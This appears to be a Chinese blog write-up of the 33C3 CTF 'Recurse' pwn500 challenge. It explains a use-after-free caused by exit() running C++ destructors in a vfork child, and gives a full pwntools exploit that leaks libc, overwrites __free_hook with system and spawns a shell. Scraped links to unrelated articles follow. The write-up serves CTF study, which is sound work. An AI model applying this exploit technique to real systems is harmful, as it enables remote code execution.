33c3-pwn500-recurse

Recurse

好记性不如烂笔头。当时没有记录,现在趁着有时间简单写一写,为以后留备份。

这个题目当时并没有队伍做出来,赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞,不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的,这是因为程序的编译用到了safestack,safestack是llvm中一种防止内存破坏漏洞的措施,该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取,如下图:

关于safestack的介绍,http://blog.includesecurity.com/2015/11/LLVM-SafeStack-buffer-overflowprotection.html,我觉得这个写得很好。

程序是一个C++的程序,成员变量包含一个std::string,赛后看了源码之后发现成员变量只有一个string对象。关于std::string对象,可以参考上一篇博客的简单介绍。

来介绍一下vfork,根据man page的介绍,vfork和fork类似,只是vfork的子进程并不拷贝父进程的页表,也就是说子进程和父进程共用页表、进程空间。vfork产生子进程后,父进程会被阻塞等待子进程的退出后父进程重新执行,由于子进程和父进程共用的是同一个栈,所以对子进程有一些限制,限制的作用在于不破坏父进程的栈。如果子进程不遵守这些限制,则程序的行为是不确定的。

可以看到在option 3中,程序通过vfork生成了子进程,并且紧接着就调用execl来启动子进程。看起来一切正常,但是如果execl调用失败的话,程序会执行err函数,在err函数中会调用exit函数,exit函数会对全局的C++对象进行析构,从而将申请的内存给释放掉造成UAF。注意子进程可以调用_exit,但是不能调用exit,因为exit会调用程序运行时注册的各种析构函数。关于exit的介绍,我觉得这一篇很棒:http://m.udpwork.com/item/11573.html

全局的C++对象中存在std::string,而std::string的长度大于15的时候,会申请堆空间来存放字符串。因此,如果造成C++全局对象的析构的话,堆上的空间将会被释放。这个时候就可以通过内存重叠来造成信息泄露和任意地址写。关于如何造成内存重叠,每个人的方法可能不一样,我的exp参考了官方的exp但是和官方的exp的内存布局不一样。关于信息泄露,我们则是通过泄露fastbin的fd指针进行泄露。任意地址写则是通过fastbin攻击,伪造fast chunk。

 1 #!/usr/bin/env python2
 2 # -*- coding: utf-8 -*-
 3 from pwn import *
 4 #context.log_level = ‘debug‘
 5
 6 HOST = ‘127.0.0.1‘
 7 PORT = 10000
 8 r = remote(HOST, PORT)
 9
10 def enter(name = ‘AAAA‘):
11   r.readuntil(‘iterate‘)
12   r.sendline(‘2‘)
13   r.readuntil(‘name?‘)
14   r.sendline(name)
15
16 def leave():
17   r.readuntil(‘iterate‘)
18   r.sendline(‘6‘)
19
20 def trigger_uaf():
21   enter(‘A‘*140*1024)
22   for i in range(33):
23     r.readn(4095)
24
25   r.readuntil(‘iterate‘)
26   r.sendline(‘3‘)
27   leave()
28
29 MSB = ‘\x7f‘
30 libc_leak_off = 0x3bdb58
31 free_hook = 0x3bf788
32 system = 0x43f40
33
34 raw_input(‘go!‘)
35 r.readuntil(‘name?‘)
36 r.sendline(p64(0x31))
37
38 r.readuntil(‘iterate‘)
39 r.sendline(‘1‘)
40 r.readuntil(‘name?‘)
41 r.sendline(‘A‘*400)
42 raw_input(‘go!‘)
43
44 enter(p64(0x31)*8)
45 enter(p64(0x31)*8)
46
47 trigger_uaf()
48 raw_input(‘After trigger UAF‘)
49 enter(p64(0x31)*8)
50 enter(p64(0x31)*8)
51
52 enter(p64(0x31)*7)
53 small_data = p64(0x31) + p64(0) + ‘\x00‘*0xe
54 enter(small_data)
55 enter(small_data)
56
57 leave()
58 leave()
59 leave()
60
61 leave()
62 leave()
63 leave()
64 leave()
65
66 leak = r.readuntil(‘iterate‘)
67 leak_off = leak.find(MSB)-5
68 assert leak_off >= 0
69 libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off
70
71 r.unrecv(‘iterate‘)
72 r.readuntil(‘iterate‘)
73 r.sendline(‘1‘)
74 r.readuntil(‘name?‘)
75 fakefd = libc - 0x100
76 data1 = 0xa0*‘\x00‘ + p64(0x240) + p64(0x31) + p64(fakefd)
77 r.sendline(data1)
78
79 raw_input(‘stop here‘)
80 enter(‘a‘*16)
81 enter(‘b‘*16)
82 enter(p64(0x31)+‘\x00‘)
83 data2 = ‘a‘*24 + p64(libc+free_hook)[:6]
84 enter(data2)
85 leave()
86 leave()
87
88 r.readuntil(‘iterate‘)
89 r.sendline(‘1‘)
90 r.readuntil(‘name?‘)
91 r.sendline(p64(libc+system))
92 enter(‘/bin/sh\x00‘*2)
93 leave()
94 r.interactive()

时间: 2024-08-03 19:44:10

33c3-pwn500-recurse的相关文章

Get-ChildItem参数之 -Exclude,Filter,Recurse应用

1 $p = "D:\PSScript" 2 3 gci $p -Exclude "UpdateLog" #排除子目录"UpdateLog",但是后面不能接着使用 -Recurse参数,否则-Exclude参数失效 4 gci $p -Exclude "说明.txt" -Recurse #排除文件"说明.txt",可以一起使用 -Recurse参数 5 6 gci $p -filter "Upda

python: practice recurse function

starting with a  factorial : def      function_factorial(n): number=1 for i   in   range(1,n+1): number *=i return number print(function_factorial( n) use this application can acheved one number's factorial. similar  recurse function also can realize

To iterate is human,to recurse divine.

迭代的是人,递归的是神. ——L. Peter Deutsch

get_folder_size.ps1

function filesize ([string]$filepath) { if ($filepath -eq $null) { throw "路径不能为空" } $hash_size[email protected]{} dir -Path $filepath | ForEach-Object -Process { if ($_.psiscontainer -eq $true) { $length = 0 dir -Path $_.fullname -Recurse | ForE

Linux下的搜索命令grep(转)

一.简介 grep(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来. 通常grep会结合管道|来使用,比如把上一个命令得到的结果通过管道|传递到grep进行筛选 二.选项 -a 不要忽略二进制数据. -A<显示列数> 除了显示符合范本样式的那一行之外,并显示该行之后的内容. -b 在显示符合范本样式的那一行之外,并

saltstack安装配置使用

背景:puppet 用ruby开发,saltstack用python语言开发的包 环境: 修改hostname和hosts文件, 关闭selinux,清空iptables 172.16.115.157  master.huangzp.com  ;hostname master 172.16.115.203  agent.huangzp.com  ;hostname agent 一.配置认证 1. 安装和启动Saltstack服务 master上: yum install  -y epel-rel

使用 rsync 出错:rsync: chgrp &quot;XXXX&quot; failed: Operation not permitted

You are probably running rsync like this: rsync -a dir/ remote:/dir/ The -a option according to the documentation is equivalent to: -rlptgoD       -a, --archive    archive mode; equals -rlptgoD (no -H,-A,-X) You probably want to remove the -o and -g 

linux 正则表达式基础篇

========  尖括号^ :例:^work:表示以work开头的内容========  $:            work$: 表示以work结尾的内容 ========  ^$:表示空行,不是空格 ========  . 代表且只能代表任意一个字符========  \ 代表转意字符(让代表特殊意义的字符返回原形)例子: \.:只表示小数点========  * 重复0个或者多个前面的字符,不代表所有了========  .* 匹配所有的字符.========  ^.* 任意多个字符开头

Zctf-pwn

最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip Pwn100 很明显栈溢出,但是有canary保护.但是明显的是flag已经被读入了内存.在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下: 所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将f